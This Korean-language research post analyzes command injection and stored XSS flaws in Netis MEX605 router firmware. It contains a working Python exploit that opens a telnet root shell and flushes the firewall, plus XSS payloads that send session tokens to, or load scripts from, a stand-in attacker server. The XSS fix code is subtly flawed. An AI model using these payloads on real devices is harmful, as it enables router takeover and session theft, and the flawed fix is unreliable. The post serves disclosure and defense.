블로그로 돌아가기
Research

Netis MEX605: 커맨드 인젝션 및 XSS 취약점 분석

Netis MEX605 라우터 펌웨어 v2.00.05에서 발견된 두 가지 취약점에 대한 심층 분석. ping 진단 도구를 통한 OS 커맨드 인젝션과 NTP 서버 설정의 DOM 기반 XSS를 다룬다.

··8분 읽기
CVEIoTroutercommand-injectionXSSembeddednetwork-security

요약

본 연구는 Netis MEX605 라우터(펌웨어 v2.00.05)에서 발견된 두 가지 취약점을 문서화한다. 두 취약점 모두 불충분한 입력 검증에서 비롯되며, 인증된 공격자가 임의 명령 실행 및 세션 토큰 탈취를 달성하는 데 악용될 수 있다. 취약점은 192.168.1.1을 통해 접근하는 라우터의 웹 기반 관리 인터페이스에 영향을 미친다.


취약점 #1: ping 진단 도구를 통한 OS 커맨드 인젝션

대상

  • 장치: Netis MEX605 라우터
  • 펌웨어 버전: 2.00.05
  • 취약점 유형: OS 커맨드 인젝션 (CWE-78)

개요

Netis MEX605 라우터의 진단 ping 유틸리티가 IP 주소 및 도메인 이름에 대한 사용자 입력을 적절히 처리하지 않는다. 이를 통해 인증된 공격자가 웹 서버 프로세스의 권한으로 실행되는 임의의 셸 명령을 주입할 수 있다. 취약한 기능은 라우터 웹 인터페이스의 고급 설정 → 진단 메뉴를 통해 노출된다.

근본 원인 분석

취약점은 여러 레이어에 걸친 불충분한 입력 검증에서 비롯된다.

프론트엔드 (/www/js/diagnosis.js, 9번째 줄):

diagnostic_start: function() {
    var me = this;
    var obj = me.setPingData();  // [1] 사용자 입력 수집
 
    if(obj == false) {
        return false;
    }
 
    if(obj.command == "ping") {
        var t1 = {"jsonrpc": "2.0", "id": 20, "method": "call", 
                  "params": [localStorage.getItem('token_id'), 
                            "network_tools", "tools_ping", obj]};  // [2] 검증되지 않은 obj 전달
    }
 
    t1 = JSON.stringify(t1);
    $("#diagnosis_form").attr("command", obj);
 
    request({
        url: "/ubus",
        data: t1  // [3] 백엔드로 전송
    }).done(function(data) {
        if(data.result != 0) {
            $("#log-cnt").val(base64decode(data.result[1]["result_buf"]));
        }
    });
}

백엔드 (/www/cgi-bin/network_tools, 42번째 줄):

function ping_start() {
    ping_end
    ping $1 -c $2 -s $3 > /tmp/ping.txt&  # [4] 직접 명령 치환
}

핵심 문제는 사용자 공급 입력을 포함한 obj 파라미터가 필터링 없이 백엔드로 전달되고, 이후 적절한 이스케이프 없이 셸 명령 컨텍스트에서 사용된다는 것이다.

익스플로잇

인증된 공격자는 ping URL 파라미터에 셸 메타문자(백틱, 세미콜론, 파이프)를 주입하여 임의의 명령을 실행할 수 있다.

개념 증명(PoC):

import requests
import json
 
url = 'http://192.168.1.1/ubus'
session = requests.Session()
 
# 1단계: 인증
login_data = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "call",
    "params": [
        "00000000000000000000000000000000",
        "session",
        "login",
        {"username": "admin", "password": "Coresec2011@"}
    ]
}
 
response = session.post(url, data=json.dumps(login_data))
sess = json.loads(response.text)
session_token = sess["result"][1]['ubus_rpc_session']
 
# 2단계: ping 인젝션을 통한 임의 명령 실행
ping_data = {
    "jsonrpc": "2.0",
    "id": 20,
    "method": "call",
    "params": [
        session_token,
        "network_tools",
        "tools_ping",
        {
            "command": "ping",
            "url": "192.168.1.1`iptables -F;/usr/sbin/telnetd -l /bin/sh`",
            "count": 5,
            "size": 64,
            "action": "start"
        }
    ]
}
 
response = session.post(url, data=json.dumps(ping_data))
print(response.text)

이 예시에서 주입된 명령 iptables -F;/usr/sbin/telnetd -l /bin/sh가 웹 서버의 권한으로 실행된다. 백틱 구문은 ping 호출 내에서도 명령 치환이 발생하도록 보장한다.

영향

  • 임의 명령 실행: 인증된 공격자가 웹 서버 프로세스에서 사용 가능한 모든 명령을 실행할 수 있는 능력을 획득한다
  • 시스템 침해: 명령을 통해 다음이 가능하다:
    • 방화벽 규칙 비활성화 (iptables -F)
    • 무단 서비스 시작 (예: 텔넷 데몬)
    • 라우터 구성 수정
    • 민감한 데이터 탈취
    • 내부 네트워크 장치로의 피벗
  • 심각도: 심각 (인증이 필요하지만 전체 시스템 침해로 이어짐)

취약점 #2: NTP 서버 설정의 DOM 기반 XSS

대상

  • 장치: Netis MEX605 라우터
  • 펌웨어 버전: 2.00.05
  • 취약점 유형: 크로스 사이트 스크립팅 - DOM 기반 (CWE-79)

개요

Netis MEX605 라우터의 시간 설정 구성 페이지가 NTP 서버 도메인 이름을 적절히 처리하지 않는다. 이를 통해 인증된 공격자가 라우터 웹 인터페이스의 컨텍스트에서 실행되는 임의의 JavaScript 코드를 주입할 수 있으며, 잠재적으로 세션 토큰 탈취 및 추가 공격으로 이어질 수 있다.

근본 원인 분석

취약점은 처리되지 않은 입력을 처리하는 여러 컴포넌트가 함께 작동하여 발생한다.

구성 저장소 (/etc/config/system):

config timeserver 'ntp'
    option enable_server '0'
    option enabled '1'
    list server '0.openwrt.pool.ntp.org"<script>alert(localStorage.getItem("token_id"))</script>'
    list server '1.openwrt.pool.ntp.org'
    list server '2.openwrt.pool.ntp.org'
    list server '3.openwrt.pool.ntp.org'

프론트엔드 입력 핸들러 (/www/js/timeSetting.js, 180번째 줄):

function submitNTP() {
    var eb = $(':radio[name="get_time_mode0"]:checked').val();
    var server = []
    
    if(eb == 1) {  // NTP 모드 선택
        for(var i = 0; i < 4; i++) {
            var a = $(".editInput").eq(i).val();
            if(a) {
                server.push(a);  // 검증되지 않은 입력 수집
            }
        }
        
        if(server.length > 0 && server.length != 4) {
            return;
        }
        
        var set3 = {"jsonrpc": "2.0", "id": 19, "method": "call", 
                   "params": [localStorage.getItem('token_id'), 
                             "uci", "set", 
                             {"config": "system", "type": "timeserver",
                              "values": {"server": server, "enabled": eb}}]};  // [3] 서버 배열 전송
        set3 = JSON.stringify(set3);
        
        $.when(setDataFn(set1), setDataFn(set3)).then(function(data1, data) {
            data1 = JSON.stringify(data1);
            data1 = eval("(" + data1 + ")");  // 위험한 eval 사용
            data = JSON.stringify(data);
            data = eval("(" + data + ")");   // [4] 또 다른 안전하지 않은 eval
        });
    }
}

프론트엔드 데이터 조회 (/www/js/timeSetting.js, 101번째 줄):

function getTimeZone() {
    var a1 = '{"jsonrpc": "2.0", "id": 18, "method": "call", 
             "params": ["' + localStorage.getItem('token_id') + 
             '", "uci", "get", {"config": "system"}]}'
    
    request({
        url: "/ubus",
        data: a1
    }).done(function(data) {
        data = JSON.stringify(data);
        data = eval("(" + data + ")");  // [5] 조회된 설정에 대한 안전하지 않은 eval
        
        if(check_data(data)) {
            handleTable(data.result[1].values.ntp.server);  // DOM에 데이터 렌더링
            change_get_time_mode(data.result[1].values.ntp.enabled);
            $("#time_zone_sel").val(data.result[1].values.cfg01e48a.timezone);
        }
    });
}

취약한 DOM 렌더링:

<td>
    <input class="f-border editInput" onblur="changeInput(this)" 
           value="0.openwrt.pool.ntp.org&quot;">
    <script>alert(localStorage.getItem("token_id"))</script>&gt;  <!-- [6] 주입된 스크립트 실행 -->
</td>

핵심 문제는 다음과 같다:

  1. NTP 서버 도메인 이름에 대한 입력 검증 없음
  2. JSON 응답 파싱에 eval() 사용 (매우 위험)
  3. 처리 없이 구성에서 조회된 데이터를 DOM에 직접 삽입
  4. HTML 컨텍스트에서 사용자 공급 데이터를 렌더링할 때 출력 인코딩 부재

익스플로잇

XSS 페이로드를 주입하는 HTTP 요청:

POST /ubus HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/timeSetting.html
Connection: close
 
{"jsonrpc":"2.0","id":19,"method":"call",
 "params":["SESSION_TOKEN","uci","set",
 {"config":"system","type":"timeserver",
  "values":{"server":["\"<script>alert(localStorage.getItem('token_id'))</script>",
                      "1.openwrt.pool.ntp.org",
                      "2.openwrt.pool.ntp.org",
                      "3.openwrt.pool.ntp.org"],
            "enabled":"1"}}]}

응답:

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 38
 
{"jsonrpc":"2.0","id":19,"result":[0]}

이 요청 후, 관리자가 시간 설정 페이지를 다시 방문하면 주입된 JavaScript 페이로드가 브라우저 컨텍스트에서 실행된다. 이를 통해 공격자는 다음을 할 수 있다:

  1. 세션 토큰 탈취: localStorage.getItem('token_id')
  2. 권한 상승: 탈취한 토큰을 추가 공격에 활용
  3. 라우터 구성 수정: 관리자 모르게
  4. 네트워크 정찰 수행: 라우터의 관점에서

공격 시나리오

시나리오 1: 세션 토큰 탈취

// NTP 구성에 저장되는 페이로드
'"<img src=x onerror="fetch(`/attacker-server/steal?token=${localStorage.getItem('token_id')}`)">'
 
// 관리자가 시간 설정을 로드할 때:
// - 스크립트가 실행됨
// - 공격자가 관리자의 세션 토큰을 수신함
// - 공격자가 관리자를 사칭할 수 있음

시나리오 2: 악성 스크립트 배포

// 페이로드가 악성 스크립트를 주입
'"<script src="http://attacker-server/malware.js"></script>"'
 
// 악성코드가 가능한 것:
// - DNS 설정 수정
// - 광고 삽입
// - 트래픽 캡처
// - 랜섬웨어 배포

영향

  • 세션 하이재킹: 관리자 자격 증명/토큰 탈취
  • 구성 조작: 라우터 설정을 악의적으로 수정
  • 네트워크 침해: 트래픽 리디렉션, MITM 공격 수행
  • 악성코드 배포: 악성 스크립트 또는 페이로드 주입
  • 심각도: 심각 (인증이 필요하지만 완전한 침해로 이어짐)

기술적 비교

측면커맨드 인젝션XSS
공격 벡터ping URL 파라미터NTP 서버 도메인
실행 컨텍스트운영 체제 셸브라우저/DOM
필요 권한라우터 관리자 인증라우터 관리자 인증
즉각적 영향OS 명령 실행브라우저 내 JavaScript 실행
침해 범위전체 라우터 시스템관리자 세션 및 구성
탐지 난이도중간 (로그에 나타날 수 있음)높음 (저장된 페이로드, 명확한 흔적 없음)

권고 사항

사용자를 위한 조치

  1. 펌웨어 업그레이드: 최신 가용 펌웨어 버전으로 업데이트
  2. 접근 제한: 라우터 관리 인터페이스 접근을 신뢰할 수 있는 네트워크로만 제한
  3. 강력한 자격 증명: 라우터 관리를 위한 복잡하고 고유한 비밀번호 사용
  4. 로그 모니터링: 의심스러운 활동에 대한 라우터 로그 정기 확인

제조사(Netis)를 위한 조치

  1. 입력 검증: 다음에 대한 엄격한 화이트리스트 검증 구현:
    • IP 주소 및 도메인 이름
    • 숫자 파라미터 (ping 횟수, 패킷 크기)
  2. 출력 인코딩: HTML에 렌더링하기 전 모든 사용자 공급 데이터를 적절히 인코딩
  3. eval() 사용 금지: 모든 eval() 호출을 안전한 JSON 파싱으로 교체 (예: JSON.parse())
  4. 보안 검토: 웹 인터페이스에 대한 포괄적인 보안 감사 수행
  5. 업데이트 주기: 정기적인 보안 업데이트 일정 수립
  6. 파라미터화된 명령: 직접 명령 치환 대신 언어별 안전한 API 사용

코드 수정 예시

커맨드 인젝션 수정:

# 셸 인젝션 방지를 위한 배열 구문 사용
function ping_start() {
    local target="$1"
    local count="$2"
    local size="$3"
    
    # 입력 검증
    if ! [[ "$target" =~ ^[0-9a-zA-Z.\-]+$ ]]; then
        echo "유효하지 않은 대상" >&2
        return 1
    fi
    if ! [[ "$count" =~ ^[0-9]+$ ]]; then
        echo "유효하지 않은 횟수" >&2
        return 1
    fi
    
    ping_end
    ping "$target" -c "$count" -s "$size" > /tmp/ping.txt&
}

XSS 수정:

// innerHTML 대신 textContent 사용
function handleTable(servers) {
    servers.forEach(function(server) {
        // 서버 문자열 검증
        if(!/^[a-zA-Z0-9.\-]+$/.test(server)) {
            console.error("유효하지 않은 서버 호스트명");
            return;
        }
        
        var td = document.createElement('td');
        var input = document.createElement('input');
        
        // innerHTML 대신 textContent 사용
        input.textContent = server;
        input.className = 'f-border editInput';
        td.appendChild(input);
    });
}
 
// eval() 대신 JSON.parse() 사용
request({
    url: "/ubus",
    data: a1
}).done(function(data) {
    try {
        var parsed = JSON.parse(JSON.stringify(data));
        if(check_data(parsed)) {
            handleTable(parsed.result[1].values.ntp.server);
        }
    } catch(e) {
        console.error("JSON 파싱 실패:", e);
    }
});

결론

Netis MEX605 라우터는 인증된 공격자가 임의의 명령 실행과 세션 하이재킹을 달성할 수 있는 심각한 보안 취약점을 포함하고 있다. 두 취약점 모두 근본적인 보안 코딩 부재에서 비롯된다:

  1. 애플리케이션 경계에서의 불충분한 입력 검증
  2. 신뢰할 수 없는 데이터 렌더링 시 출력 인코딩 부재
  3. 데이터 처리에 eval() 위험한 사용
  4. 파라미터화 없이 직접 셸 명령 구성

이 취약점들은 임베디드 IoT 장치에서 보안 중심 개발 실천의 중요성을 보여준다. 소비자용 네트워크 장비의 펌웨어도 입력 검증, 출력 인코딩, 위험한 언어 기능 회피를 포함한 보안 코딩 원칙을 따라야 한다.


참고 자료

  • CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 무력화
  • CWE-79: 웹 페이지 생성 중 입력의 부적절한 무력화 ('Cross-site Scripting')
  • OWASP Top 10 - A03:2021 인젝션
  • OWASP Top 10 - A07:2021 크로스 사이트 스크립팅 (XSS)

발견 정보

발견자: CoreSecurity OT Research Team
장치: Netis MEX605 라우터
펌웨어 버전: 2.00.05
발견 연도: 2021


본 연구는 교육 및 방어적 보안 목적으로 제공된다. 컴퓨터 시스템에 대한 무단 접근은 불법이다.